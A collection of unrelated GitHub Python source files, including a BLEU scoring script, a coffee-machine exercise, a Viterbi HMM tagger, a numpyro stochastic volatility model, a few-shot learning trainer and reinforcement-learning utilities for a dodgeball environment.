)\n\n  bleu = cython_bleu.compute_bleu(\n    tokenize_then_ngram([string1])[0],\n    tokenize_then_ngram([string2])[0]\n  )\n\n  assert bleu == 1.0, bleu\n  print('OK')\n\n  string3 = 'this sentence has no overlapping'\n\n  bleu = cython_bleu.compute_bleu(\n    tokenize_then_ngram([string1])[0],\n    tokenize_then_ngram([string3])[0]\n  )\n\n  original_bleu = compute_bleu(\n      reference_corpus=[bleu_tokenize(string1)],\n      translation_corpus=[bleu_tokenize(string3)],\n  )\n\n  assert abs(bleu - original_bleu)<1e-7, (bleu, original_bleu)\n  print('OK')\n\n\ndef Bleu_calculate(eng_file, viet_file, en2vi, vi2en, name_to_save):\n  if not os.path.exists('working_dir/ccalign{}_bleu.nparray'.format(name_to_save)):\n  \n    print('Tokenizing & ngramming ...')\n    print('eng file')\n    with open(eng_file,'r') as f:\n      eng_lines = f.readlines() \n    ef_ngrams = tokenize_then_ngram(eng_lines)\n\n    print('en2vi')\n    with open(en2vi,'r') as f:\n      en2vi_lines = f.readlines() \n    etf_ngrams = tokenize_then_ngram(en2vi_lines)\n\n    print('vi file')\n    with open(viet_file,'r') as f:\n      viet_lines = f.readlines() \n    vf_ngrams = tokenize_then_ngram(viet_lines)\n\n    print('vi2en file')\n    with open(vi2en,'r') as f:\n      vi2en_lines = f.readlines() \n    vtf_ngrams = tokenize_then_ngram(vi2en_lines)\n    \n    assert len(ef_ngrams)==len(vf_ngrams)\n    assert len(etf_ngrams)==len(ef_ngrams)\n    assert len(vtf_ngrams)==len(vf_ngrams)\n\n    print('LENGTHs:', len(ef_ngrams), len(vf_ngrams)) \n    print('Finish tokenize & ngram time: ', datetime.now().time())\n\n    # ENG bleu:\n\n    f = open('working_dir/ccalign{}_bleu.nparray'.format(name_to_save), 'wb')\n    # bleu_fn = compute_bleu\n    bleu_fn = cython_bleu.compute_bleu\n    bleu_list = []\n    \n    for i in tqdm.tqdm(range(len(ef_ngrams))):\n      bleu = bleu_fn(ef_ngrams[i], vtf_ngrams[i])\n      bleu += bleu_fn(vtf_ngrams[i], ef_ngrams[i])\n      bleu += bleu_fn(vf_ngrams[i], etf_ngrams[i])\n      bleu += bleu_fn(etf_ngrams[i], vf_ngrams[i])\n      bleu_list += [bleu]\n    # assert len(bleu_list) in [4643, 4642]\n    np.save(f, bleu_list)\n\n    f.close()\n  \n  print('Done working on ccalign_{}'.format(name_to_save))\n\n\n# ef = '8_ccalign.en'\n# vf = '8_ccalign.vi'\n# en2vi = '8_ccalign.en2vi'\n# vi2en = '8_ccalign.vi2en'\n# Bleu_calculate(ef, vf, en2vi, vi2en, 'try8')\n# print('done')","repo_name":"ntkchinh/Data4_translation","sub_path":"Bleu_calculate.py","file_name":"Bleu_calculate.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35495796238","text":"\nresources = {\n    \"water\": 300,\n    \"milk\": 200,\n    \"coffee\": 100,\n}\n\nmachine_profit = 0\n\n\n\ndef PrintReport() -> None:\n    print(  f\"Water: {resources['water']}ml\\n\" + \n            f\"Milk: {resources['milk']}ml\\n\" +\n            f\"Coffee: {resources['coffee']}g\\n\" + \n            f\"Money: ${machine_profit}\"\n\n    )\n\n\ndef CheckResources(drink) -> bool:\n\n    if drink == \"espresso\":\n        water = 50\n        coffee = 18\n        milk = 0\n    elif drink == \"latte\":\n        water = 200\n        coffee = 24\n        milk = 150\n    else:\n        #drink is cappuccino\n        water = 250\n        coffee = 24\n        milk = 100\n    \n    if resources[\"water\"] - water < 0: \n        print(\"Sorry there is not enough water.\")\n        return False\n    if resources[\"coffee\"] - coffee < 0:\n        print(\"Sorry there is not enough coffee.\")\n        return False\n    if resources[\"milk\"] - milk < 0:\n        print(\"Sorry there is not enough milk\")\n        return False\n    return True\n\n\ndef GetDrinkPrice(drink_type) -> float:\n    \n    if drink_type == \"espresso\":\n        return 1.5\n    elif drink_type == \"latte\":\n        return 2.5\n    else:\n        #drink is cappuccino\n        return 3\n\n\ndef ProcessCoins(drink_type) -> float:\n\n    \"\"\"recives user money and returns the remainder of the money\"\"\"\n\n    drink_cost = GetDrinkPrice(drink_type)\n\n    print(\"Please insert coins.\")\n    quarters = int(input(\"How many quarters?: \"))\n    dimes = int(input(\"How many dimes?: \"))\n    nickles = int(input(\"How many nickles?: \"))\n    pennies = int(input(\"How many pennies?: \"))\n\n    quarters = 0.25 * quarters\n    dimes = 0.1 * dimes\n    nickles = 0.05 * nickles\n    pennies = 0.01 * pennies\n\n    sum = quarters + dimes + nickles + pennies\n\n    return sum - drink_cost\n\ndef MakeCoffee(drink_type):\n    if drink_type == \"espresso\":\n        water = 50\n        coffee = 18\n        milk = 0\n    elif drink_type == \"latte\":\n        water = 200\n        coffee = 24\n        milk = 150\n    else:\n        #drink is cappuccino\n        water = 250\n        coffee = 24\n        milk = 100\n\n    resources[\"water\"] -= water\n    resources[\"coffee\"] -= coffee \n    resources[\"milk\"] -= milk \n\n    \n\n\n#add loop to service\ndrink_type = input(\"What would you like? (espresso/latte/cappuccino): \")\n\nwhile drink_type != \"off\":\n\n    if drink_type == \"report\":\n        PrintReport()\n\n    elif drink_type != \"off\":\n\n        #There are enough resources\n        if CheckResources(drink_type):\n            change = ProcessCoins(drink_type)\n            if change >= 0:\n                MakeCoffee(drink_type)\n                drink_cost = GetDrinkPrice(drink_type)\n                machine_profit += drink_cost\n\n                if change > 0:\n                    print(f\"Here is ${'{:.2f}'.format(change)} in change.\")\n                else:\n                    print(\"No change.\")\n                print(f\"Here is your {drink_type} ☕. Enjoy!\")\n            else:\n                print(\"Sorry, that's not enough money. Money refunded\")\n    \n    drink_type = input(\"What would you like? (espresso/latte/cappuccino): \")\n\n\n","repo_name":"kom1323/100-days-of-code","sub_path":"day15-coffee_machine/coffee_machine.py","file_name":"coffee_machine.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31809621899","text":"import sys\n\nfrom unittest.mock import patch\nfrom unittest import TestCase\n\nfrom hypothesis.strategies import fixed_dictionaries, sampled_from, text\nfrom hypothesis import given\n\nfrom ipalint.cli import Cli\nfrom ipalint.core import Core\n\n\n\nclass CliTestCase(TestCase):\n\n\tdef setUp(self):\n\t\tself.cli = Cli()\n\n\t@given(text().filter(lambda t: not t.startswith('-')),\n\t\t\ttext().filter(lambda t: not t.startswith('-')),\n\t\t\tfixed_dictionaries({\n\t\t\t\t'no_header': sampled_from(['--no-header', '']),\n\t\t\t\t'ignore_nfd': sampled_from(['--ignore-nfd', '']),\n\t\t\t\t'ignore_ws': sampled_from(['--ignore-ws', '']),\n\t\t\t\t'linewise': sampled_from(['--linewise', '']),\n\t\t\t\t'no_lines': sampled_from(['--no-lines', ''])}))\n\tdef test_run(self, dataset, col, flags):\n\t\targs = [dataset]\n\t\tif col: args.extend(['--col', col])\n\t\targs.extend([flag for flag in flags.values() if flag])\n\n\t\twith patch.object(Core, 'lint', return_value='42') as mock_lint:\n\t\t\twith patch.object(sys.stdout, 'write'):\n\t\t\t\ttry:\n\t\t\t\t\tself.cli.run(args)\n\t\t\t\texcept SystemExit:\n\t\t\t\t\tpass\n\n\t\t\t\tmock_lint.assert_called_once_with(\n\t\t\t\t\tdataset = dataset,\n\t\t\t\t\tcol = col if col else None,\n\t\t\t\t\tno_header = True if flags['no_header'] else False,\n\t\t\t\t\tignore_nfd = True if flags['ignore_nfd'] else False,\n\t\t\t\t\tignore_ws = True if flags['ignore_ws'] else False,\n\t\t\t\t\tlinewise = True if flags['linewise'] else False,\n\t\t\t\t\tno_lines = True if flags['no_lines'] else False)\n","repo_name":"pavelsof/ipalint","sub_path":"ipalint/tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"73115404582","text":"#!/usr/bin/env python3\n\n# ===============================================================================\n# A googol (10**100) is a massive number: one followed by one-hundred zeros;\n# 100**100 is almost unimaginably large: one followed by two-hundred zeros.\n# Despite their size, the sum of the digits in each number is only 1.\n#\n# Considering natural numbers of the form, a**b, where a, b < 100,\n# what is the maximum digital sum?\n# ===============================================================================\n\n\ndef DigiSum(n):\n    return sum(int(i) for i in str(n))\n\n\ndef solution():\n    s = 0\n    for a in range(100):\n        for b in range(100):\n            s = max(s, DigiSum(a**b))\n    return s\n\n\nif __name__ == '__main__':\n    print(solution())\n","repo_name":"ddipp/Euler_solutions","sub_path":"p056.py","file_name":"p056.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8032703921","text":"#Zad2\r\n#Przygotować funkcję, która przyjmie w parametrach imię i nazwisko, oraz zwróci pierwszą literę imienia i nazwisko połączone kropką. Funkcja powinna również dbać o poprawność wielkich liter. Przykładowo, wejście: (jan, kowalski), wyjście: J. Kowalski.\r\n\r\ndef zad2(str1, str2):\r\n    str1 = str1.title()\r\n    str2 = str2.title()\r\n    return str1[0] + \". \" + str2\r\n\r\nprint(\"Podaj imie:\")\r\nimie = input()\r\nprint(\"Podaj nazwisko:\")\r\nnazw = input()\r\nprint(zad2(imie, nazw))","repo_name":"KarolinaaGrab/AISD","sub_path":"AISD/zad2.py","file_name":"zad2.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1631687428","text":"import re\nimport sys\nfrom sys import argv\nimport string\nimport operator\nimport numpy as np\n\n\nd_init = dict()\nd_trans = dict()\nd_emiss = dict()\nl_symbol = []\nl_state = []\nl_word = []\ninput_hmm = sys.argv[1]\ntest_file = sys.argv[2]\noutput_file = sys.argv[3]\noutput = open(output_file, 'w')\nstderr = open('stderr', 'w')\n\nwith open(input_hmm, 'r') as f:\n    initial_checker = False\n    transition_checker = False\n    emission_checker = False\n    init_line_num = 0\n    trans_line_num = 0\n    emiss_line_num = 0\n    prev_state_trans = ''\n    prev_state_emiss = ''\n    for line in f:\n        line = line.strip('\\n')\n        line = line.strip('')\n        if len(line) == 0:\n            continue\n        if transition_checker and 'emission' not in line:\n            words = line.split()\n            words = [x for x in words if len(x) != 0]\n            trans = (words[0], words[1])\n            prob = float(words[2])\n            if prob < 0 or prob > 1:\n                stderr.write(\n                    \"warning: the prob is not in [0,1] range:  \" + line)\n            else:\n                if trans not in d_trans:\n                    d_trans[trans] = prob\n\n        if emission_checker:\n            words = line.split()\n            words = line.split()\n            words = [x for x in words if len(x) != 0]\n            emiss = (words[0], words[1])\n            if words[1] not in l_word:\n                l_word.append(words[1])\n            prob = float(words[2])\n            if prob < 0 or prob > 1:\n                stderr.write(\"warning: the prob is not in [0,1] range:  \" + line)\n            else:\n                if emiss not in d_emiss:\n                    d_emiss[emiss] = prob\n\n        if '\\\\transition' in line:\n            initial_checker = False\n            transition_checker = True\n        if '\\\\emission' in line:\n            transition_checker = False\n            emission_checker = True\n'''information from hmm loaded'''\n\nwith open(test_file, 'r') as f:\n    for line in f:\n        line = line.strip('\\n')\n        line = line.strip('')\n        words = line.split()\n        line_tag = ''\n        count = 1\n        l_from_state = []\n        l_from_state_prob = []\n        path = []\n        max_path = ''\n        max_prob = 0\n        for word in words:\n            if word not in l_word:\n                word = '<unk>'\n            l_to_state = []\n            l_to_state_prob = []\n            l_v_prob = []\n            '''for the first word'''\n            tag = ''\n            if count == 1:\n                d_word = dict()\n                d_word = {k: v for k, v in d_emiss.items() if k[1] == word}\n                for item in d_word:\n                    l_to_state.append(item[0])\n                    l_to_state_prob.append(d_word[item])\n                    trans = ('BOS_BOS', item[0])\n                    if trans in d_trans:\n                        trans_prob = d_trans[trans]\n                    else:\n                        trans_prob = 0\n                    v_prob = trans_prob * d_emiss[item]\n                    l_v_prob.append(v_prob)\n                max_index = l_v_prob.index(max(l_v_prob))\n                tag = l_to_state[max_index]\n                non_zero_index = [i for i, e in enumerate(l_v_prob) if e != 0]\n                l_to_state = list(l_to_state[i] for i in non_zero_index)\n                l_v_prob = list(l_v_prob[i] for i in non_zero_index)\n                for state in l_to_state:\n                    path.append('BOS_BOS' + ' ' + state)\n                l_from_state = l_to_state\n                l_from_state_prob = l_v_prob\n            else:\n                '''maximum value of pre viterbi probability and transition probability'''\n                # print(word)\n                d_word = dict()\n                d_word = {k: v for k, v in d_emiss.items() if k[1] == word}\n                for item in d_word:\n                    max_va = 0\n                    pre_state = ''\n                    l_to_state.append(item[0])\n                    to_state = item[0]\n                    l_to_state_prob.append(d_word[item])\n                    for c, i in enumerate(l_from_state):\n                        trans = (i, to_state)\n                        if trans in d_trans:\n                            trans_prob = d_trans[trans]\n                        else:\n                            trans_prob = 0\n                        va = l_from_state_prob[c] * trans_prob\n                        if va > max_va:\n                            max_va = va\n                            pre_state = i\n                    for n, i in enumerate(path):\n                        if len(pre_state) > 0 and i.endswith(pre_state) and len(i.split()) == count:\n                            path.append(path[n] + ' ' + to_state)\n                            break\n                    l_v_prob.append(max_va * d_word[item])\n                non_zero_index = [i for i, e in enumerate(l_v_prob) if e != 0]\n                l_to_state = list(l_to_state[i] for i in non_zero_index)\n                l_v_prob = list(l_v_prob[i] for i in non_zero_index)\n                l_from_state = l_to_state\n                l_from_state_prob = l_v_prob\n            l_rm = []\n            for p in path:\n                s = p.split()\n                if len(s) != count + 1:\n                    l_rm.append(p)\n            for item in l_rm:\n                path.remove(item)\n            count = count + 1\n            if count == len(words) + 1:\n                max_index = l_from_state_prob.index(max(l_from_state_prob))\n                max_prob = max(l_from_state_prob)\n                max_prob = np.log10(max_prob)\n                tag = l_from_state[max_index]\n                for p in path:\n                    if p.endswith(tag):\n                        max_path = p\n        output.write(line)\n        output.write(' => ')\n        output.write(max_path + ' ')\n        output.write(str(max_prob))\n        output.write('\\n')\n","repo_name":"yy6linda/NLP_LING570_UW","sub_path":"hw9/hw9_submission/viterbi.py","file_name":"viterbi.py","file_ext":"py","file_size_in_byte":5895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32541686656","text":"import argparse\n\nimport numpy as onp\n\nfrom jax.config import config as jax_config\nimport jax.numpy as np\nimport jax.random as random\n\nimport numpyro.distributions as dist\nfrom numpyro.examples.datasets import SP500, load_dataset\nfrom numpyro.handlers import sample\nfrom numpyro.hmc_util import initialize_model\nfrom numpyro.mcmc import hmc\nfrom numpyro.util import fori_collect\n\n\n\"\"\"\nGenerative model:\n\nsigma ~ Exponential(50)\nnu ~ Exponential(.1)\ns_i ~ Normal(s_{i-1}, sigma - 2)\nr_i ~ StudentT(nu, 0, exp(-2 s_i))\n\nThis example is from PyMC3 [1], which itself is adapted from the original experiment\nfrom [2]. A discussion about translating this in Pyro appears in [3].\n\nFor more details, refer to:\n 1. *Stochastic Volatility Model*, https://docs.pymc.io/notebooks/stochastic_volatility.html\n 2. *The No-U-Turn Sampler: Adaptively Setting Path Lengths in Hamiltonian Monte Carlo*,\n    https://arxiv.org/pdf/1111.4246.pdf\n 3. Forum discussion, https://forum.pyro.ai/t/problems-transforming-a-pymc3-model-to-pyro-mcmc/208/14\n\n\"\"\"\n\n\ndef model(returns):\n    step_size = sample('sigma', dist.Exponential(50.))\n    s = sample('s', dist.GaussianRandomWalk(scale=step_size, num_steps=np.shape(returns)[0]))\n    nu = sample('nu', dist.Exponential(.1))\n    return sample('r', dist.StudentT(df=nu, loc=0., scale=np.exp(-2*s)),\n                  obs=returns)\n\n\ndef print_results(posterior, dates):\n    def _print_row(values, row_name=''):\n        quantiles = [0.2, 0.4, 0.5, 0.6, 0.8]\n        row_name_fmt = '{:>' + str(len(row_name)) + '}'\n        header_format = row_name_fmt + '{:>12}' * 5\n        row_format = row_name_fmt + '{:>12.3f}' * 5\n        columns = ['(p{})'.format(q * 100) for q in quantiles]\n        q_values = onp.quantile(values, quantiles, axis=0)\n        print(header_format.format('', *columns))\n        print(row_format.format(row_name, *q_values))\n        print('\\n')\n\n    print('=' * 5, 'sigma', '=' * 5)\n    _print_row(posterior['sigma'])\n    print('=' * 5, 'nu', '=' * 5)\n    _print_row(posterior['nu'])\n    print('=' * 5, 'volatility', '=' * 5)\n    for i in range(0, len(dates), 180):\n        _print_row(np.exp(-2 * posterior['s'][:, i]), dates[i])\n\n\ndef main(args):\n    jax_config.update('jax_platform_name', args.device)\n    _, fetch = load_dataset(SP500, shuffle=False)\n    dates, returns = fetch()\n    init_rng, sample_rng = random.split(random.PRNGKey(args.rng))\n    init_params, potential_fn, constrain_fn = initialize_model(init_rng, model, returns)\n    init_kernel, sample_kernel = hmc(potential_fn, algo='NUTS')\n    hmc_state = init_kernel(init_params, args.num_warmup, rng=sample_rng)\n    hmc_states = fori_collect(0, args.num_samples, sample_kernel, hmc_state,\n                              transform=lambda hmc_state: constrain_fn(hmc_state.z))\n    print_results(hmc_states, dates)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Stochastic Volatility Model\")\n    parser.add_argument('-n', '--num-samples', nargs='?', default=3000, type=int)\n    parser.add_argument('--num-warmup', nargs='?', default=1500, type=int)\n    parser.add_argument('--device', default='cpu', type=str, help='use \"cpu\" or \"gpu\".')\n    parser.add_argument('--rng', default=21, type=int, help='random number generator seed')\n    args = parser.parse_args()\n    main(args)\n","repo_name":"leej35/numpyro","sub_path":"examples/stochastic_volatility.py","file_name":"stochastic_volatility.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"73966753059","text":"import collections\nimport os\nimport random\n\nimport torch\nimport torch.nn as nn\nimport tqdm\n\nfrom datamgr import SetDataManager\nfrom backbone import wrn28_10\nfrom io_utils import parse_args, resume_training, enable_gpu_usage\nfrom top_losses import LossesBag\nfrom losses import get_rotations, get_bag\n\n\nuse_gpu = torch.cuda.is_available()\n\ndef evaluate(val_loader, model, losses_bag, params, save_latent=False):\n    losses_bag.clear_epoch()\n    if not params.local_batch:\n        model.eval()\n        losses_bag.eval()\n    else:\n        model.train()\n        losses_bag.train()\n    if save_latent:\n        penultimate_dict = collections.defaultdict(list)\n        features_dict = collections.defaultdict(list)\n    with torch.no_grad():\n        progress = tqdm.tqdm(total=len(val_loader), leave=True, ascii=True)\n        for _, (inputs, targets) in enumerate(val_loader):\n            if use_gpu:\n                inputs, targets = inputs.cuda(), targets.cuda()\n            inputs = torch.flatten(inputs, 0, 1)\n            targets = torch.flatten(targets, 0, 1)\n\n            progress_desc = []\n            out_latent = model.forward(inputs)\n            if params.unit_sphere:\n                out_latent = normalize(out_latent)\n\n            if params.triplet:\n                _ = losses_bag['triplet'](out_latent, targets)\n                progress_desc.append(losses_bag['triplet'].get_desc())\n\n            if params.rotation:\n                angles = torch.zeros([int(inputs.shape[0])], dtype=torch.int64).cuda()\n                _ = losses_bag['rotation'](out_latent, angles)\n                progress_desc.append(losses_bag['rotation'].get_desc())\n\n            if params.mixup:\n                _ = losses_bag['mixup'](out_latent)  # disentanglement\n                progress_desc.append(losses_bag['mixup'].get_desc())\n\n            if save_latent:\n                features_latent = losses_bag.agregate_features()\n                penultimate_latent = out_latent.detach().cpu().numpy()\n                for penultimate, features, target in zip(penultimate_latent, features_latent, targets):\n                    penultimate_dict[int(target.item())].append(penultimate)\n                    features_dict[int(target.item())].append(features)\n\n            progress_desc = ' '.join(progress_desc)\n            progress.set_description(desc=progress_desc)\n            progress.update()\n        progress.close()\n    # torch.cuda.empty_cache()  # ?\n    if save_latent:\n        return penultimate_dict, features_dict\n    return None\n\ndef normalize(out):\n    norms = torch.clamp(torch.sum(out**2, dim=1), min=1e-5)  # positive sum\n    out = out / norms  # unit sphere\n    return out\n\ndef train_epoch(model, losses_bag, base_loader, optimizer, params):\n    model.train()\n    losses_bag.train()\n    losses_bag.clear_epoch()\n    if use_gpu:\n        torch.cuda.empty_cache()\n\n    progress = tqdm.tqdm(total=len(base_loader), leave=True, ascii=True)\n    for _, (inputs, targets) in enumerate(base_loader):\n        progress_desc = []\n        optimizer.zero_grad()\n\n        if use_gpu:\n            inputs, targets = inputs.cuda(), targets.cuda()\n        inputs = torch.flatten(inputs, 0, 1)\n        targets = torch.flatten(targets, 0, 1)\n\n        if params.rotation:\n            inputs, angles = get_rotations(inputs)\n\n        latent_space = model(inputs)\n        if params.unit_sphere:\n            latent_space = normalize(latent_space)\n\n        if params.triplet:\n            loss, _ = losses_bag['triplet'](latent_space, targets)\n            loss.backward(retain_graph=True)\n            progress_desc.append(losses_bag['triplet'].get_desc())\n\n        if params.rotation:\n            loss, _ = losses_bag['rotation'](latent_space, angles)\n            loss.backward(retain_graph=True)\n            progress_desc.append(losses_bag['rotation'].get_desc())\n\n        if params.mixup:\n            loss, _ = losses_bag['mixup'](latent_space)\n            loss.backward(retain_graph=False)  # clear yo mama\n            progress_desc.append(losses_bag['mixup'].get_desc())\n\n        optimizer.step()\n\n        progress_desc = ' '.join(progress_desc)\n        progress.set_description(desc=progress_desc)\n        progress.update()\n    progress.close()\n\ndef full_training(base_loader, val_loader, model, start_epoch, stop_epoch, params):\n    optimizer = torch.optim.Adam([\n                {'params': model.parameters()},\n                ] + losses_bag.optimizer_dict())\n\n    print(\"stop_epoch\", start_epoch, stop_epoch)\n\n    for epoch in range(start_epoch, stop_epoch):\n        print('\\nEpoch: %d' % epoch)\n\n        train_epoch(model, losses_bag, base_loader, optimizer, params)\n\n        if not os.path.isdir(params.checkpoint_dir):\n            os.makedirs(params.checkpoint_dir)\n\n        if (epoch % params.save_freq==0) or (epoch==stop_epoch-1):\n            outfile = os.path.join(params.checkpoint_dir, '{:d}.tar'.format(epoch))\n            model_dict = {'epoch':epoch, 'state':model.state_dict(), **losses_bag.states_dict()}\n            torch.save(model_dict, outfile)\n\n        evaluate(val_loader, model, losses_bag, params)\n\n    return model\n\nif __name__ == '__main__':\n    params = parse_args('graph')\n    random.seed(914637)\n\n    image_size = 84  # small\n    # the weights are stored into ./weights folder\n    save_dir = './weights'\n    # the location of the json files, themselves containing the location of the images\n    data_dir = {}\n    data_dir['cifar']           = './filelists/cifar/'\n    data_dir['CUB']             = './filelists/CUB/'\n    data_dir['miniImagenet']    = './filelists/miniImagenet/'\n\n    base_file = data_dir[params.dataset] + 'base.json'\n    val_file = data_dir[params.dataset] + 'val.json'\n    params.checkpoint_dir = '%s/checkpoints/%s/%s/%s' %(save_dir, params.dataset, params.model, params.run_name)\n    start_epoch = params.start_epoch\n    stop_epoch = params.stop_epoch\n\n    n_way, n_shot, n_val = params.n_way, params.n_shot, params.n_val\n    base_datamgr = SetDataManager(base_file, image_size, n_way, n_shot, n_val)\n    val_datamgr = SetDataManager(val_file, image_size, n_way, n_shot, n_val)\n    base_loader = base_datamgr.get_data_loader(aug=params.train_aug)\n    val_loader = val_datamgr.get_data_loader(aug=False)\n\n    if params.model == 'WideResNet28_10':\n        model = wrn28_10(num_classes=params.num_classes)\n        torch.backends.cudnn.benchmark = True\n    else:\n        raise ValueError\n\n    bag = get_bag(params)\n    losses_bag = LossesBag(bag)\n\n    if use_gpu:\n        model = enable_gpu_usage(model)\n        losses_bag.use_gpu()\n\n    if params.resume:\n        start_epoch = resume_training(params.checkpoint_dir, model)\n        losses_bag.load_states(params.checkpoint_dir)\n\n    model = full_training(base_loader, val_loader, model, start_epoch, start_epoch+stop_epoch, params)\n","repo_name":"Algue-Rythme/Potion","sub_path":"graph_mixup.py","file_name":"graph_mixup.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5189252869","text":"kg = int(input())\n\nrestKg = kg % 5\nrestThree = kg % 318\nfiveKg = 0\nthreeKg = 0\na = 1\nb = 1\nc = kg\nd = kg\ne = kg\nf = kg\n\n\nif restKg % 3 == 0:\n   fiveKg = kg // 5\n   threeKg = restKg // 3\n   e = fiveKg + threeKg\n\nif kg % 3 == 0:\n\n    d = kg // 3\n\n\n\nwhile(5*a < kg):\n    if (kg - 5 * a) % 3 == 0:\n        if c > a + ((kg - 5 * a) // 3):\n            c = a + ((kg - 5 * a) // 3)\n    a = a + 1\nf = min(e,d,c)\n\nif f == kg: print(-1)\nelse: print(f)\n\n","repo_name":"rick9707/algorithm","sub_path":"greedy2839.py","file_name":"greedy2839.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38202592516","text":"import numpy as np\nimport inspect\nimport functools\nfrom maddpg.agents import dodgeball_agents\nimport torch \nfrom enum import Enum\nimport random\nimport copy\ndef store_args(method):\n    \"\"\"Stores provided method args as instance attributes.\n    \"\"\"\n    argspec = inspect.getfullargspec(method)\n    defaults = {}\n    if argspec.defaults is not None:\n        defaults = dict(\n            zip(argspec.args[-len(argspec.defaults):], argspec.defaults))\n    if argspec.kwonlydefaults is not None:\n        defaults.update(argspec.kwonlydefaults)\n    arg_names = argspec.args[1:]\n\n    @functools.wraps(method)\n    def wrapper(*positional_args, **keyword_args):\n        self = positional_args[0]\n        # Get default arg values\n        args = defaults.copy()\n        # Add provided arg values\n        for name, value in zip(arg_names, positional_args[1:]):\n            args[name] = value\n        args.update(keyword_args)\n        self.__dict__.update(args)\n        return method(*positional_args, **keyword_args)\n\n    return wrapper\n\nclass Initialization(Enum):\n    Zero = 0\n    XavierGlorotNormal = 1\n    XavierGlorotUniform = 2\n    KaimingHeNormal = 3  # also known as Variance scaling\n    KaimingHeUniform = 4\n    Normal = 5\n\n_init_methods = {\n    Initialization.Zero: torch.zero_,\n    Initialization.XavierGlorotNormal: torch.nn.init.xavier_normal_,\n    Initialization.XavierGlorotUniform: torch.nn.init.xavier_uniform_,\n    Initialization.KaimingHeNormal: torch.nn.init.kaiming_normal_,\n    Initialization.KaimingHeUniform: torch.nn.init.kaiming_uniform_,\n    Initialization.Normal: torch.nn.init.normal_,\n}\n\ndef linear_layer(\n    input_size: int,\n    output_size: int,\n    kernel_init: Initialization = Initialization.XavierGlorotUniform,\n    kernel_gain: float = 1.0,\n    bias_init: Initialization = Initialization.Zero,\n) -> torch.nn.Module:\n    \"\"\"\n    Creates a torch.nn.Linear module and initializes its weights.\n    :param input_size: The size of the input tensor\n    :param output_size: The size of the output tensor\n    :param kernel_init: The Initialization to use for the weights of the layer\n    :param kernel_gain: The multiplier for the weights of the kernel. Note that in\n    TensorFlow, the gain is square-rooted. Therefore calling  with scale 0.01 is equivalent to calling\n        KaimingHeNormal with kernel_gain of 0.1\n    :param bias_init: The Initialization to use for the weights of the bias layer\n    \"\"\"\n    layer = torch.nn.Linear(input_size, output_size)\n    if (\n        kernel_init == Initialization.KaimingHeNormal\n        or kernel_init == Initialization.KaimingHeUniform\n    ):\n        _init_methods[kernel_init](layer.weight.data, nonlinearity=\"linear\")\n    else:\n        _init_methods[kernel_init](layer.weight.data)\n    layer.weight.data *= kernel_gain\n    _init_methods[bias_init](layer.bias.data)\n    return layer\n\nclass GaussianNoise:\n    \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n\n    def __init__(self, size, seed, sigma=0.50, decay=0.9982):\n        \"\"\"Initialize parameters and noise process.\"\"\"\n        self.size = size\n        self.sigma = sigma\n        self.decay = decay\n        self.seed = torch.manual_seed(seed)\n        # self.seed = np.random.seed(seed)\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset the internal state (= noise) to mean (mu).\"\"\"\n        self.sigma = max(self.decay*self.sigma,0.02)\n\n    def sample(self):\n        \"\"\"Update internal state and return it as a noise sample.\"\"\"\n        return self.sigma * torch.randn(self.size)\n\n\nclass OUNoise:\n    \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n\n    def __init__(self, size, seed, mu=0.0, theta=0.01, sigma=0.2356, sigma_min = 0.05, sigma_decay=0.9965):\n        \"\"\"Initialize parameters and noise process.\"\"\"\n        self.mu = mu * np.ones(size)\n        self.theta = theta\n        self.sigma = sigma\n        self.sigma_min = sigma_min\n        self.sigma_decay = sigma_decay\n        self.seed = random.seed(seed)\n        self.size = size\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset the internal state (= noise) to mean (mu).\"\"\"\n        self.state = copy.copy(self.mu)\n        \"\"\"Resduce  sigma from initial value to min\"\"\"\n        self.sigma = max(self.sigma_min, self.sigma*self.sigma_decay)\n\n    def sample(self):\n        \"\"\"Update internal state and return it as a noise sample.\"\"\"\n        x = self.state\n        dx = self.theta * (self.mu - x) + self.sigma * np.random.standard_normal(self.size)\n        self.state = x + dx\n        return self.state\n\n\ndef make_env(args,name,time_scale,no_graphics):\n    env = dodgeball_agents(name, time_scale, no_graphics)\n    env.set_env()\n    args.n_learning_agents = env.nbr_agent\n    args.n_agents = env.nbr_agent\n    args.obs_shape = [env.agent_obs_size for i in range( args.n_agents)] \n    args.action_shape =[env.spec.action_spec.discrete_size + env.spec.action_spec.continuous_size for i in range( args.n_agents)] \n    args.high_action = 1\n    args.low_action = -1\n    args.continuous_action_space = env.spec.action_spec.continuous_size\n    args.discrete_action_space = env.spec.action_spec.discrete_size\n    args.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n    args.seed=45\n    return env, args\n","repo_name":"love481/DodgeBall_MA_RL","sub_path":"scripts/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
